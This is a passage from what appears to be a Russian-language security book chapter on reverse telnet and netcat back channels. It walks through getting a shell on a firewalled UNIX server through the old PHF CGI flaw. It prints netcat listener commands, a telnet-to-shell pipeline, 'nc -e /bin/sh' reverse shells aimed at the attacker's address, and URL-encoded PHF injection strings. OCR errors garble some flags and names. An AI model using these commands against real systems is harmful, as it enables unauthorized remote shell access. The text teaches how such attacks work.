Реверсивный сеанс telnet и обратные каналы
Реверсивный сеанс telnet и обратные каналы
Безусловно, программа xterm представляет собой самое простое средство получения контроля над системой UNIX. Однако как быть в том случае, если об этом знает не только злоумышленник, но и администратор, удаливший систему X? Эта мера, конечно же, повысит безопасность системы UNIX, но одной ее недостаточно, так как в распоряжении потенциального взломщика остается еще много других методов получения несанкционированного доступа. Одним из таких методов, в частности, является создание обратных каналов. В данном случае термин обратный канал (back channel) применяется для описания механизма, с помощью которого коммуникационный канал создается по направлению от взламываемого узла к компьютеру взломщика, а не наоборот, как при использовании обычных коммуникационных каналов. Нужно напомнить, что в рассматриваемом примере взломщик не может получить интерактивный доступ к командной оболочке обычным способом, так как все порты, кроме 80 и 443, блокируются брандмауэром. Таким образом, злоумышленник должен добиться того, чтобы взламываемый сервер инициировал сеанс с его компьютером, т.е. создать обратный канал.
Для решения этой задачи можно воспользоваться несколькими методами. Первый из них, называемый реверсивный сеанс telnet, заключается в применении утилиты telnet для создания обратного канала от взламываемой системы к компьютеру взломщика. Название реверсивный сеанс telnet (reverse telnet) объясняется тем, что устанавливаемое с помощью команды telnet соединение инициализируется не системой взломщика, а системой, к которой он хочет получить доступ. В большинстве систем UNIX имеется клиент telnet и его использование практически никогда не ограничивается. Именно поэтому в тех случаях, когда программа xterm оказывается недоступной, telnet является вторым прекрасным средством, которое можно применить для создания обратного канала. Чтобы с помощью команды telnet создать обратный канал, необходимо воспользоваться всемогущей утилитой netcat (nc). Для того чтобы другой компьютер мог связаться с вашим компьютером посредством утилиты telnet, необходимо, чтобы на последнем в режиме ожидания была запущена утилита nс, которая и обеспечит установку реверсивного соединения telnet. Для этого в двух отдельных окнах необходимо запустить на выполнение следующие команды.
[tsunami]! nc -I -n -v -p 80
listening on [any] 80
[tsunami]! nc -1 -n -v -p 25
listening on [any] 25
Прежде чем запускать утилиту пс, убедитесь, что в вашей системе с входящими портами 8 С и 25 не связано никаких служб, находящихся в режиме ожидания запросов, например HTTPD или sendmail. Если такие службы имеются, необходимо завершить выполнение соответствующих процессов с помощью команды kill, чтобы освободить требуемые порты для утилиты пс. Параметр -1 означает, что утилиту пс необходимо запустить в режиме ожидания запросов; параметр -v включает режим вывода подробной информации; параметр -n указывает, что IP-адреса не нужно преобразовывать в имена узлов, а параметр -р определяет порт, который будет прослушиваться.
Возвращаясь к рассматриваемому примеру, отметим, что для инициализации реверсивного соединения telnet на взламываемом сервере необходимо запустить следующую команду, действие которой основано на наличии уже известного нам изъяна PHF.
/bin/telnet IР_хакера 80 | /bin/sh | /bin/telnet IР_хакера 25
Данная команда, представленная в виде параметра PHF, выглядит следующим образом.
/cgi-bin/phf?Qalias=
x%0a/bin/telnet%20IP_xaкepa %2080%20I%20/bin/sh%20
|%20/bin/telnet%20IP_xaкepa%2025
Давайте посмотрим, что происходит, когда Web-серверу броузер передает данную строку. С помощью команды /bin/telnet IР_хакера 80 на взламываемом узле запускается telnet и подключается к порту 80 нашего компьютера. Это позволит нам вводить команды, которые будут выполняться удаленным компьютером. В соответствии со стандартными соглашениями ввода/вывода системы UNIX все, что мы будем набирать на клавиатуре, будет перенаправляться в качестве ввода командной оболочке Bourne (/bin/sh). Выводимые же результаты с помощью конвейера будут перенаправлены командой /bin/telnet по адресу IР_хакера на порт 25. Все это вместе взятое и создаст реверсивный сеанс teinet-связи. отображаемый в двух окнах. Порты 80 и 25 выбраны из-за того, что большинство брандмауэров чаще всего разрешает их использовать для создания исходящих соединений. Однако можно выбрать и любые другие порты, — лишь бы их использование для обмена данными не блокировались брандмауэром.
Второй метод создания обратного канала заключается в использовании самой утилиты nс. Для этого достаточно, чтобы программа nс уже присутствовала на сервере или могла быть помещена туда с помощью какого-либо механизма (например, через анонимный сеанс FTP). Как мы уже не раз отмечали, пс — это одна из лучших утилит. Поэтому совсем не удивительно, что в последнее время ее можно найти в комплекте поставки многих бесплатных версий UNIX. К сожалению, последнее обстоятельство имеет и обратную сторону — это повышает вероятность того, что хакеру даже не понадобится внедрять эту утилиту на интересующий его узел. Однако само присутствие пс на узле еще вовсе не означает, что ее можно сразу же использовать для создания обратного канала, поскольку нет никаких гарантий того, что она была скомпилирована с использованием директивы #def ine GAPING_SECURITY_HOLE, без которой параметр -е, используемый для создания обратного канала, применить не удастся. В нашем примере мы будем считать, что на узле каким-то образом оказалась нужная версия пс.
Подобно описанному выше telnet-методу, создание обратного канала с помощью утилиты пс состоит из двух этапов. Сначала необходимо выполнить следующую команду, которая впоследствии обеспечит взаимодействие с обратным каналом, созданным с использованием nс на взламываемом компьютере.
[tsunami]# nс -1 -n -v -p 80
После того как запущена утилита прослушивания, на удаленном узле необходимо выполнить следующую команду.
nс —е /bin/sh IР_хакера 80
Данная команда, представленная в форме, требуемой для использования изъяна PHF, имеет следующий вид.
/cgi-bin/phf?Qalias=x%0a/bin/nc%20-
e%20/bin/sh%20IP_xaкepa%2080
Как только Web-сервер выполнит эту строку, с помощью утилиты nс будет создан обратный канал, который подключит командную оболочку (в данном случае — /bin/sh) к находящемуся в режиме ожидания компьютеру хакера. Это обеспечит интерактивный доступ к командной оболочке, причем соединение будет установлено самой взламываемой системой.
Содержание раздела